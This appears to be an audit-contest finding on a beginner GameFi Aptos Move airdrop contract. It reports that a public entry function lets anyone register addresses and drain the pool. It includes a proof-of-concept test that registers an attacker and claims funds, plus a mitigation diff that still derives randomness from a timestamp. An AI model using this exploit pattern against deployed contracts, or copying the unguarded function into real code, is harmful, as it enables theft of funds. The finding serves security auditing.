Beginner FriendlyGameFi
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Registration via Public get_random_slice Function

Root + Impact

Description

  • Normal Behavior: The contract owner should exclusively control user registration through the register_pizza_loverfunction, which validates the caller is the owner before internally calling get_random_slice to assign random APT amounts (100-500) to approved users.

    Issue: The get_random_slice function is incorrectly marked as entry, making it publicly callable by anyone. This allows attackers to bypass owner authorization and directly register any address in the airdrop system, completely undermining the intended access control mechanism.

// Root cause in the codebase with @> marks to highlight the relevant section
#[randomness]
@> entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val;
@> table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}

Risk

Likelihood:

  • get_random_slice is marked as entry, making it callable by any external account

  • No access control checks exist within the function to restrict who can call it

  • Function accepts any address parameter, allowing registration of arbitrary accounts

Impact:

  • Attackers can register unlimited addresses without owner approval, each eligible for 100-500 APT

  • Complete bypass of the owner-controlled registration model breaks protocol security

  • Entire airdrop pool can be drained before legitimate users are properly registered

Proof of Concept

#[test(deployer = @pizza_drop, attacker = @0x123, framework = @0x1)]
fun test_unauthorized_registration_exploit(
deployer: &signer,
attacker: &signer,
framework: &signer
) acquires State, ModuleData {
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::aptos_coin;
// Setup environment
timestamp::set_time_has_started_for_testing(framework);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(attacker));
// Initialize and fund contract
init_module(deployer);
let funding_amount = 100000;
let deployer_coins = coin::mint<AptosCoin>(funding_amount, &mint_cap);
coin::register<AptosCoin>(deployer);
coin::deposit<AptosCoin>(@pizza_drop, deployer_coins);
fund_pizza_drop(deployer, 10000);
let attacker_addr = signer::address_of(attacker);
// ATTACK: Directly call get_random_slice without owner authorization
get_random_slice(attacker_addr);
// Verify unauthorized registration succeeded
assert!(is_registered(attacker_addr), 1);
let assigned_amount = get_claimed_amount(attacker_addr);
assert!(assigned_amount >= 100 && assigned_amount <= 500, 2);
// Claim funds without owner approval
claim_pizza_slice(attacker);
// Verify funds were stolen
let attacker_balance = coin::balance<AptosCoin>(attacker_addr);
assert!(attacker_balance == assigned_amount, 3);
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}
Test Result: aptos move test -f test_unauthorized_registration_exploit passes, confirming the vulnerability exists.

Recommended Mitigation

- remove this code
+ add this code
+ const E_ALREADY_REGISTERED: u64 = 5;
- #[randomness]
- entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
+ fun get_random_slice_internal(user_addr: address, state: &mut State): u64 {
+ assert!(!table::contains(&state.users_claimed_amount, user_addr), E_ALREADY_REGISTERED);
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val;
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
+ random_amount
}
public entry fun register_pizza_lover(owner: &signer, user: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
- get_random_slice(user);
+ get_random_slice_internal(user, state);
event::emit(PizzaLoverRegistered {
user: user,
});
}
Explanation: Remove the entry and #[randomness] modifiers to make the function internal-only.
Rename to get_random_slice_internal and add duplicate registration protection.
This ensures only the owner-controlled register_pizza_lover function can register users, restoring the intended access control model.
Updates

Appeal created

bube Lead Judge 11 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can call `get_random_slice` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.